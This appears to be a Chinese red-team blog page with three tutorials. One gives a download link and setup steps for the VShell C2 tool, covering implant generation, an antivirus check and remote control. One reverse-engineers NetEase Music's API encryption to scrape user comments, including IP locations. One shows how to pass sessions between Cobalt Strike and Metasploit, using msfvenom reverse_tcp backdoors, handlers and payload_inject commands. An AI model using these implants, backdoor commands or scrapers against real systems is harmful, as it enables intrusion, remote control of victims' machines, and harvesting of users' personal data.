首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
9,883 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,561 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,755 阅读
4
几个常见的密码字典推荐
3,968 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,433 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
SQL注入
靶场实战
提权
代理隧道
域渗透
信息收集
权限提升
WAF绕过
hackmyvm
AI安全
云安全
权限维持
红队攻击
蓝队防御
云服务
白小羽
累计撰写
188
篇文章
累计收到
0
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
3
篇与
的结果
2025-10-30
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
VShell下载链接链接: https://pan.baidu.com/s/1LGb4RPgxmJPDEdZlaHQOkA 提取码: ju5z图表呈现(精简对比表) 对比维度 vshell Cobalt Strike(CS) 工具状态 GitHub 下架、闭源、版本内部传播 官方维护、插件生态成熟 核心优势 操作流畅、适配前期打点 / 隧道搭建、Linux 原生支持 插件多、横向手段丰富、可修改特征、适配后渗透 Linux 支持 无需插件,功能完善 依赖第三方插件,功能有限 适用阶段 渗透测试前期(打点、隧道) 渗透测试后期(后渗透、横向移动) 首先打开网盘链接,下载相关的文件,上传到你自己的vps或者本地虚拟机中,这里我使用的是Kali虚拟机然后修改配置文件使用命令vi ./conf/setting.conf重点关注这两个地方,一个是账号密码,你需要配置好你的账号密码,这里我就使用默认的,上面的那个jwt根据作者提示就留空web_username=admin web_password=qwe123qwe还有一个启动的端口信息我们执行这个文件的时候,发现没有权限,需要给它赋予一个执行权限chmod +x ./v_Linux_arm64再执行的时候,这里又出现了一个错误“exec format error” 是因为 你在 x86/x64 架构的 Kali 上,运行了 ARM64 架构的程序如果你的需求是 “在 Kali 上测试 ARM 架构的程序”,需安装 QEMU 模拟器(模拟 ARM 环境)这样就能正常执行了随后找到你Kali的ip地址ip a打开浏览器,访问Kali的ip以及对应的端口,再输入刚刚你配置文件./conf/setting.conf中的账号免密10.10.10.173:8082来到了管理登录界面,再次输入账号密码就能登录成功了我们创建一个TCP监听器在客户端生成选项中生成马选择stageless,生成windows正向连接马在电脑管家中扫描试试双击执行在客户端管理中上线成功再选择主机管理命令执行还有像文件管理,屏幕查看和监控就不展示了,可以实时的进行返回截图,太丝滑了。插件就只有默认携带的几个,可以自己在plugins目录添加四种隧道任你选择shell 在渗透测试中实用性极强,操作流畅、功能便捷,但目前已从 GitHub 下架,官方闭源且无法二次开发,现存版本多为行业内私下传播。对比老牌工具 Cobalt Strike(CS),二者各有优势:CS 插件生态丰富,横向渗透手段多、可灵活修改特征;vshell 更适合初始打点与隧道搭建,CS 则更适配后渗透阶段,二者可形成场景互补。值得一提的是,vshell 对 Linux 系统支持完善,无需额外插件就能实现 Linux 目标上线与后渗透操作;而 CS 需依赖插件才能支持 Linux,且相关功能有限。综合来看,vshell 是高效的前期辅助工具,与 CS 配合使用可提升整体渗透效率。本文原创于,https://longyusec.com 转载请注明原文链接出处
2025年10月30日
9,883 阅读
0 评论
0 点赞
2025-05-18
python爬虫,网易云js逆向代码分析
前言本文章中所有内容仅供学习交流,严禁用于商业用途和非法用途,否则由此产生的一切后果均与文章作者无关,若有侵权,请联系我立即删除!阅读本篇文章,需要一定的爬虫基础,和js逆向思维,否则无法继续首先找到一个歌单找到这个api接口api传参为这两个找到启动器发现这两个参数和刚刚api接口是一模一样的,那么大概率源码就在这里打断点,分析加密参数刷新页面,已经卡在这里了分析每个api参数X1x为后端api地址i1x为csrf_tokene1x为请求方式,该值为post我们的目标是抓取歌单评论信息,一直放行,直到这个接口分析这个参数,如下分析rid:A_PL_0_3865036,这后面的就是歌单id,threadId:A_PL_0_3865036,后面也是歌单id信息,后面的参数基本没用了,页面大小,偏移量和歌单属性那么就可以得到python代码向后端传的参数为这个def get_data(): id=3865036 # 歌单id url = "https://music.163.com/weapi/comment/resource/comments/get" data = { 'csrf_token': "", "cursor": "-1", # 0为精彩评论,-1为最新评论 "offset": "0", "orderType": "1", "pageNo": "1", "pageSize": "20", "rid": f"A_PL_0_{id}", "threadId": f"A_PL_0_{id}" } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36' } resp = requests.post(url, data=data, headers=headers) print(resp.text) 但是呢没有任何响应结果,说明参数加密了 对比源参数即可看到,这些值都是乱码,显然是进行了加密的那么就要找js的加密节点,怎么找?回到这个界面把这段代码复制下来仔细分析var bVi3x = window.asrsea(JSON.stringify(i1x), bse0x(["流泪", "强"]), bse0x(Qu1x.md), bse0x(["爱心", "女孩", "惊恐", "大笑"])); 分别对应如下值这里我们就得到了每个参数的值使用变量进行替换# 服务于函数d g = "0CoJUm6Qyw8W8jud" # bse0x(["爱心", "女孩", "惊恐", "大笑"]) f = "00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7" e = "010001" # bse0x(["流泪", "强"]) 再放行,找到加密节点鼠标移动到这里,即可看到,使用了一个方法,方法名称叫 d即可看到这样一串代码贴上源码!function() { function a(a) { var d, e, b = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", c = ""; for (d = 0; a > d; d += 1) e = Math.random() * b.length, e = Math.floor(e), c += b.charAt(e); return c } function b(a, b) { var c = CryptoJS.enc.Utf8.parse(b) , d = CryptoJS.enc.Utf8.parse("0102030405060708") // AES加密算法中需要的偏移量 , e = CryptoJS.enc.Utf8.parse(a) , f = CryptoJS.AES.encrypt(e, c, { iv: d, mode: CryptoJS.mode.CBC }); return f.toString() } function c(a, b, c) { var d, e; return setMaxDigits(131), d = new RSAKeyPair(b,"",c), e = encryptedString(d, a) } function d(d, e, f, g) { var h = {} , i = a(16); return h.encText = b(d, g), h.encText = b(h.encText, i), h.encSecKey = c(i, e, f), h } function e(a, b, d, e) { var f = {}; return f.encText = c(a + e, b, d), f } window.asrsea = d, window.ecnonasr = e }(); 仔细分析AES加密特征,打断点放行打印这些值此时即可得到参数 i ,如果你多次执行就会发现这个 i 值是变化的,调用的是a函数传了个16a 函数这就是一个随机计算结果,可以直接定死而 i 已经定死了,i = "2l8EuJuvLirixMmc" ,这里我执行了第二遍,就用我第二遍的 i 值,得到了已有的值g = "0CoJUm6Qyw8W8jud" # bse0x(["爱心", "女孩", "惊恐", "大笑"]) f = "00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7" e = "010001" # bse0x(["流泪", "强"]) i = "2l8EuJuvLirixMmc" # 手动固定,函数中是随机的 偏移量之前已经在js代码的b函数找到了,这张图就可以很清楚的看到解密后的值就是 h.encText 的值发现这个函数是RSA加密,我们已经得到了这个值,由上图可以看到,i 值为偏移量,e为 010001,f 未知,那么就先放一放查看这个参数,断点记得放行查看值这样就能得到encSecKey的值,分析得到python逆向代码def get_encSecKey(): # 由于i是固定的,所以经过c函数输出的encSecKey也是固定的 return "288bca7fd6e42e24d4549f155b4eb6317ba323b914c9ee8aaccb786cabcd27773aea34d9413b8902f3a1a86e50863cec7e1f872092585cddd432951f210ae078e2f2c6b486c83c210820d5c09c73e2d3f225401ce1f5543f7a6f903c7bdc65b8ea27894c0299f52d801f05aaa6ec61e34082bec0135b9c74dabcabd1e1dba1ab" # 把参数进行加密,相当于 def get_params(data): # 默认收到的是字符串 first = enc_paramas(data, g) # 第一次加密,再将第二次结果与i一起加密 second = enc_paramas(first, i) # 第二次加密 return second # 返回的就是paramas # 将数据长度转化为16的倍数, 为下面加密服务 def to_16(data): # pad = 16 - len(data) % 16 data += chr(pad) * pad return data def enc_paramas(data, key): # 相当于js中的b(a, b)函数 iv = "0102030405060708" # AES加密算法中需要的偏移量 data = to_16(data) aes = AES.new(key=key.encode('utf-8'), IV=iv.encode('utf-8'), mode=AES.MODE_CBC) # 创建加密器 bs = aes.encrypt(data.encode('utf-8')) # 加密,加密的长度必须是16的倍数,”123456789abcchr(4)chr(4)chr(4)chr(4)" return str(b64encode(bs), "utf-8") # 转化成字符串 此时将刚刚没有任何结果的代码进行传参即可,半成品代码如下import json from base64 import b64encode from Crypto.Cipher import AES # pip install pycryptodome import requests # 设置好已知的值 g = "0CoJUm6Qyw8W8jud" # bse0x(["爱心", "女孩", "惊恐", "大笑"]) f = "00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7" e = "010001" # bse0x(["流泪", "强"]) i = "2l8EuJuvLirixMmc" # 手动固定,函数中是随机的 def get_data(): id=3865036 # 歌单id url = "https://music.163.com/weapi/comment/resource/comments/get" data = { 'csrf_token': "", "cursor": "-1", # 0为精彩评论,-1为最新评论 "offset": "0", "orderType": "1", "pageNo": "1", "pageSize": "20", "rid": f"A_PL_0_{id}", "threadId": f"A_PL_0_{id}" } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36' } resp = requests.post(url, data={ "params": get_params(json.dumps(data)), # 通过函数的加密得到服务器需要的params参数 "encSecKey": get_encSecKey() }, headers=headers) print(resp.text) if __name__ == '__main__': get_data() 完整数据清洗后的代码import random import json from base64 import b64encode from Crypto.Cipher import AES # pip install pycryptodome import requests # 服务于函数d g = "0CoJUm6Qyw8W8jud" f = "00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7" e = "010001" i = "2l8EuJuvLirixMmc" # 手动固定,函数中是随机的 def get_encSecKey(): # 由于i是固定的,所以经过c函数输出的encSecKey也是固定的 return "288bca7fd6e42e24d4549f155b4eb6317ba323b914c9ee8aaccb786cabcd27773aea34d9413b8902f3a1a86e50863cec7e1f872092585cddd432951f210ae078e2f2c6b486c83c210820d5c09c73e2d3f225401ce1f5543f7a6f903c7bdc65b8ea27894c0299f52d801f05aaa6ec61e34082bec0135b9c74dabcabd1e1dba1ab" # 把参数进行加密 def get_params(data): # 默认收到的是字符串 first = enc_paramas(data, g) # 第一次加密,再将第二次结果与i一起加密 second = enc_paramas(first, i) # 第二次加密 return second # 返回的就是paramas # 将数据长度转化为16的倍数, 为下面加密服务 def to_16(data): pad = 16 - len(data) % 16 data += chr(pad) * pad return data def enc_paramas(data, key): iv = "0102030405060708" # AES加密算法中需要的偏移量 data = to_16(data) aes = AES.new(key=key.encode('utf-8'), IV=iv.encode('utf-8'), mode=AES.MODE_CBC) # 创建加密器 bs = aes.encrypt(data.encode('utf-8')) # 加密,加密的长度必须是16的倍数,”123456789abcchr(4)chr(4)chr(4)chr(4)" return str(b64encode(bs), "utf-8") # 转化成字符串 def get_data(): id=3865036 # 歌单id url = "https://music.163.com/weapi/comment/resource/comments/get" data = { 'csrf_token': "", "cursor": "-1", # 0为精彩评论,-1为最新评论 "offset": "0", "orderType": "1", "pageNo": "1", "pageSize": "20", "rid": f"A_PL_0_{id}", "threadId": f"A_PL_0_{id}" } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36' } resp = requests.post(url, data={ "params": get_params(json.dumps(data)), # 通过函数的加密得到服务器需要的params参数 "encSecKey": get_encSecKey() }, headers=headers) print(resp.text) dict = json.loads(resp.text) # 将得到的内容转化为字典模式 user_obj = dict['data']['hotComments'] comment_data = [] comment_sum = dict['data']['totalCount'] if not user_obj: user_obj = dict['data']['comments'] for _ in user_obj: content = _['content'] nickname = _['user']['nickname'] photo = _['user']['avatarUrl'] timeStr = _['timeStr'] like_count = _['likedCount'] addres = _['ipLocation']['location'] list = { 'nickname': nickname, 'content': content, 'photo': photo, 'timeStr': timeStr, 'addres': addres, 'like_count': like_count, 'com_count': comment_sum } comment_data.append(list) print(comment_data) if __name__ == '__main__': get_data() 得到评论结果其他api接口也是如此,还可以搞一个扫码登录的,下面是我23年8月写的项目项目推荐这是我写的一个完整的爬虫django项目,集成了网易云扫码登录,歌单信息,歌曲/歌单评论,歌单收藏,歌曲播放等等运用了aiohttp异步爬虫,requests库,IP池,线程池,redis,中间件mysql数据库,等等等等,项目仅供学习使用,严禁商业用途!!!!记得点个关注,感谢扫码登录网易云首页我的首页歌单列表源列表评论歌曲播放效果。。。。。。。总结本文章中所有内容仅供学习交流,严禁用于商业用途和非法用途,否则由此产生的一切后果均与文章作者无关,若有侵权,请联系我立即删除!,重要的事儿说三遍!!!
2025年05月18日
1,317 阅读
0 评论
0 点赞
2025-05-18
CS与MSF联动,CobaltStrik和MSF联动的方法,msf上线CobaltStrik
CS与MSF联动0x01 CS与MSFCobaltStrike(简称CS)是一款美国Red Team开发的渗透测试神器。Armitage是一个MetasploitFramework(简称MSF)的图形化界面工具,而CobaltStrike大家可以理解其为Armitage的商业版。早期版本CobaltSrtike依赖MetasploitFramework框架,而现在CobaltStrike已经不再使用MetasploitFramework而是作为单独的平台使用,它分为客户端(Client)与服务端(Teamserver),服务端是一个,客户端可以有多个,团队可进行分布式协团操作。CobalStrike 与 MetasploitFramework 均是渗透测试中不可缺少的利器,各有所长。前者更适合做稳控平台,后者则更擅长内网各类探测搜集与漏洞利用。两者更需要灵活的联动,各自相互依托,从而提升渗透的效率。0x02 CS传递会话到MSF为了方便演示操作,将CS的服务端与MSF服务都设置在同一个IP上。1. CS操作先在CobaltStrike上新建一个监听器(Beacon HTTP)这里的IP端口号指CS服务端利用CobaltStrike生成一个后门文件将后门文件放在受害主机中执行,之后受害主机就会上线到CS了至此,CobaltStrike获得到了一个会话2. MSF操作在MetasploitFramework上开启一个meterpreter监听(reverse_http),用于接收CobaltStrike传递过来到会话use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 192.168.158.129 # MSF所在主机的ip set lport 4444 # MSF所在主机自定义端口号 run 3. 会话传递先在CobaltStrike上创建一个监听(Foreign HTTP),IP 和 端口号需要与MetasploitFramework中设置监听的保持一致然后在CobaltStrike上选中要传递到会话,点击右键选择增加会话(Spawn) ,再选择刚刚创建的监听(Foreign HTTP)上述步骤完成后,在MetasploitFramework中就可以看到CobaltStrike传递过来到会话了0x03 MSF传递会话到CS1. CS操作在CobaltStrike上新建一个监听器(Beacon HTTP)2. MSF操作先通过msfvenom生成后门文件msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.158.129 LPORT=7777 -f exe > msfshell.exe 这里的IP端口号指MSF服务所在主机使用msfconsole启动MetasploitFramework,设置meterpreter监听用于接收后门文件反弹到shelluse exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.158.129 # msf所在主机的ip set lport 7777 # msf所在主机自定义端口号,与后门文件中的一致 run 将后门文件放置受害主机运行后,MetasploitFramework上会获得一个meterpreter的shell3. 会话传递将获取到的MetasploitFramework会话挂至后台,会看到一个会话sessions idbackground 调用 payload_inject 模块,将指定会话session id注入到新到CobaltStrike会话中use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set lhost 192.168.158.129 # CS服务端IP set lport 80 # CS服务端监听的端口号 set DisablePayloadHandler True set PrependMigrate True set session 4 # 会话id run 上述步骤完成后,在CobaltStrike中就可以看到MetasploitFramework传递过来到会话了参考文章https://teamssix.com/210129-191714.htmlCobaltstrike 学习笔记(三)CS与MSF联动 -
2025年05月18日
1,349 阅读
0 评论
0 点赞